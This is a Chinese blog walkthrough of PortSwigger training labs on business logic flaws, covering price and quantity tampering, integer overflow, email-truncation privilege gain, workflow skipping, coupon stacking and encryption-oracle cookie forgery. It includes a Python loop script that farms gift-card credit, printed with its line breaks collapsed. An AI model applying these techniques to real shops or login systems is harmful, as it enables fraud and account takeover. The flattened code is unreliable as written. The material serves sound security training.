PortSwigger Business Logic Vulnerabilities

2023-12-24 07:12

本文主要是介绍PortSwigger Business Logic Vulnerabilities,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

lab1: Excessive trust in client-side controls

给了100块 买价值1337的货

在历史包里发现

image-20231221161650403

尝试直接修改价格

image-20231221161858007

lab2: High-level logic vulnerability

这里把加入购物车时价格可控的点修复了

但是数量可控 我们可以买负数的东西来加钱

image-20231221195033804

image-20231221195026120

但是返回Cart total price cannot be less than zero

那么控制一下价格 大于0即可

image-20231221195234260

lab3: Low-level logic flaw

买大量的货 溢出上限即可

image-20231221200558320

但是还是卡了我们 必须花钱

由于这里限制了一次最多加99 大概估计整数的上限是20M左右

image-20231221201444558

lab4: Inconsistent handling of exceptional input

需求: 删除carlos

访问admin路由

Admin interface only available if logged in as a DontWannaCry user

image-20231221202658065

我们可以接收任何 以@exploit-0a2300c90469cc9d80ea5232011200d0.exploit-server.net结尾的邮箱

image-20231221203451674

在这里超过255的字符会被截断

我们卡一下长度

image-20231221204405162

image-20231221204508364

image-20231221204639955

lab5: Inconsistent security controls

注册完后直接更新邮箱

image-20231222081215947

lab6: Weak isolation on dual-use endpoint

直接不提交旧密码

image-20231222082355525

lab7: Insufficient workflow validation

先跟一个正常的购买流程

/cart 添加进购物车 -> /cart/checkout 清算 -> /cart/order-confirmation?order-confirmed=true 结算

每个流程都重复发包 然后刷新观察

我们发现在checkout的时候就已经进扣钱了

尝试跳过checkout 添加购物车后直接confirm

image-20231222090150331

这里false和true没影响好像

一开始是想看看能不能反悔

lab8: Authentication bypass via flawed state machine

image-20231222091018797

改administrator 和 admin 都没用

尝试login 然后drop掉role-selector

image-20231222092405290

lab9: Flawed enforcement of business rules

New customers use code at checkout: NEWCUST5

注册能领30 off 检测是否重复只检测上一个

然后俩折扣来回叠加

image-20231222103930811

lab10: Infinite money logic flaw

注册送券 SIGNUP30

image-20231222105437164

买giftcart 赚3块 无限薅

现在需要实现自动化

添加购物车 -> 加券 -> 兑换

import requests
import recsrfPartten = re.compile('<input required type="hidden" name="csrf" value=".*">')
codePartten = re.compile('<td>.*</td>')
url = "https://0add00500314e8f081b017cf00d400a0.web-security-academy.net/"
Cookie = "VpVhq6vKnkAwKWFRosMkSD8TFaaVJP27"
sess = requests.Session()def do_cart():data = {"productId": 2,"redir": "PRODUCT","quantity": 1}res = sess.post(url+"cart", data=data,cookies={"session":Cookie})return resdef getCsrf():res = sess.get(url+"my-account?id=wiener",cookies={"session": Cookie})csrf = re.findall(csrfPartten, res.text)[0]return(csrf.split("=")[3].replace('"', "").replace(">", ""))csrf = getCsrf()def do_coupon():data = {"coupon":"SIGNUP30","csrf":csrf}res = sess.post(url+"cart/coupon", data=data,cookies={"session":Cookie})return res
def do_checkout():data = {"csrf": csrf}res = sess.post(url+"cart/checkout", data=data,cookies={"session": Cookie})code = re.findall(codePartten, res.text)return code[2:]def do_redeem(code):data = {"gift-card": code[0].replace("<td>","").replace("</td>",""),"csrf": csrf}res = sess.post(url+"gift-card", data=data,cookies={"session": Cookie})while True:do_cart()do_coupon()do_redeem(do_checkout())

不考虑效率 跑个半个小时左右就好了

主要还是交互太慢了

image-20231222130923509

lab11: Authentication bypass via encryption oracle

post/comment处会将emil加密

猜测和stay-logged-in是同种方式

尝试将stay-logged-in的值解密

image-20231222133525271

可以看见是用户名加时间戳 将其在emil处提交加密

administrator:1703222719341

image-20231222134653363

前面还有Invalid email address: 23个字符

考虑到一般这种都是块加密 补齐至32个字符

然后把cipher的前32位删了image-20231222140616052

image-20231222140333592

image-20231222140522765

这篇关于PortSwigger Business Logic Vulnerabilities的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/530971

相关文章

逻辑学(Logic)

GPT-4o (OpenAI)  逻辑学是研究论证的原则和标准的学科,主要关注如何正确地推理和论证。从抓取股票日线数据到形成有效的分析,我们可以应用逻辑推理。 逻辑推理步骤: 1. 明确目标:我们要抓取股票的日线数据。 2. 分析需求:确定需要抓取哪些具体数据,比如日期、开盘价、收盘价、最高价、最低价、成交量等。 3. 选择数据来源:确定从哪个平台或网站获取这些数据,比如Yahoo Financ

100.SAP MII功能详解(14)Workbench-Transaction Logic(Repeater)

目录 1.Logic->Repeater 2.演示 配置对象 配置链接 ​编辑 Repeater的使用示例 1.Logic->Repeater         您可以使用此操作循环浏览XML节点集,该节点集由XML文档中属于同一层次级别的任何XML节点组成。中继器操作执行以下操作: 从节点集的第一个成员开始使用来自第一个节点的信息执行任务移动到下一个节点

详解L5流程活动中的业务项(BI,Business Item)附埃森哲流程优化方法论PPT下载

埃森哲流程优化方法论PPT下载链接见文末~ 一、业务项的定义 业务项,简称BI(Business Item),是指在五层流程活动中具体执行或处理的任务单元。它代表了流程中的一个具体环节或步骤,是完成整个业务流程不可或缺的一部分。 二、业务项的目的 业务项的主要目的是实现流程中的特定功能或目标,确保流程能够顺畅进行,并达到预期的业务效果。 三、业务项的作用 细化流程:将复杂的业

04:创建PADS Logic软件逻辑库

1. 打开自带的库文件 2.保留common库,移除其他库文件 3.新建库 5点击封装工具栏 6选择2D线 7添加端点 8点击保存 9打开查看

天宝TBCTrimble Business Center中文版本下载安装使用介绍

天宝TBC:测绘之道,尽在其中 引言 昔日杜甫,忧国忧民,今朝我辈,测绘天下。天宝TBC,乃测绘之利器,助我等行走于山川河流之间,绘制天地之图。此文将以杜甫之笔,述说TBC之妙用,愿与君共勉。 一、初识天宝TBC 初识天宝TBC,犹如初见故人,心生亲切。此软件集成了GNSS接收机、全站仪、激光扫描仪、无人机等多种设备的数据处理功能,堪称测绘界之全能选手。其界面简洁明了,操作便捷,令人一

50个BA分析工具第六个-Business Rules

知识卡片   工具名称: Business Rules(业务规则分析)   工具介绍:Business Rules,是用来识别和表达去校验修正一些组织的规则,这些规则会约束每天的业务行为,指导业务的决策。   解决问题: • 清晰地定义和管理业务规则,可以使得组织能够制定相关的细则,而不会影响到流程和系统   优点: • 业务政策和规则的指导,每天的这个业务运行都是在po

50个BA分析工具第五个-Business Model Cavans

工具名称: Business Model Canvas(商业画布)   工具介绍: Business Model Canvas,描述一个企业如何创作、交付和获取价值。它包括了9个构建块,所以也有人叫它九宫格,这9个构建块包括:客户群、客户关系、客户渠道、价值主张、收入结构、业务流程、资源、第三方、成本结构   解决问题: • 论证你的战略是否可行   优点: • 因为其广泛

BSCI(Business Social Compliance Initiative)验厂

在当今全球化的经济环境中,企业社会责任(Corporate Social Responsibility, CSR)已成为衡量企业成功与否的重要标尺之一。而BSCI(Business Social Compliance Initiative)验厂,作为国际间广泛认可的社会责任审核体系,不仅是对企业供应链管理的一种严格考验,更是推动企业践行可持续发展理念、维护劳工权益、促进环境友好型生产的重要机制。本

Is my business data safe in cloud? NetSuite到底安全吗?

NetSuite 产品群QQ:779253701 73% companies are planning to move to cloud in 2 years. Why? Oracle + NetSuite, 4 powerful layers of security 1. Multiple Redundant Oracle Data Centers. Your informati

SQL logic error no such function: fts5

参考自:Stack Overflow 使用 C# 做全文索引的时候,需要自定义中文分词库,所以需要加载 fts5 扩展后,才可以使用 SELECT fts5(?) 语法,否则就会报告如下错误: SQL logic error no such function: fts5 解决方案: using(var connection = new SQLiteConnection(connectSr